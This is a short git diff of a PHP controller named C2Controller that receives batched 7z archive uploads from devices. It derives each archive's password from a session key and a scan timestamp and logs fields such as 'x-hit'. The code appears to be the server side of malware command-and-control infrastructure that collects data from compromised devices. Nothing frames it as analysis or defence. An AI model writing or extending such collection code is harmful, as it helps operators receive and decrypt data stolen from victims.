init
This commit is contained in:
@@ -115,9 +115,13 @@ class C2Controller extends Controller
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
);
|
||||
|
||||
// Archive password = session_key || batchBaseTimestampString.
|
||||
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
|
||||
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? $request->input('ts')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
@@ -128,6 +132,8 @@ class C2Controller extends Controller
|
||||
'total' => $request->input('total'),
|
||||
'index' => $request->input('index'),
|
||||
'batchBase' => $batchBase,
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $request->input('x-hit'),
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
|
||||
Reference in New Issue
Block a user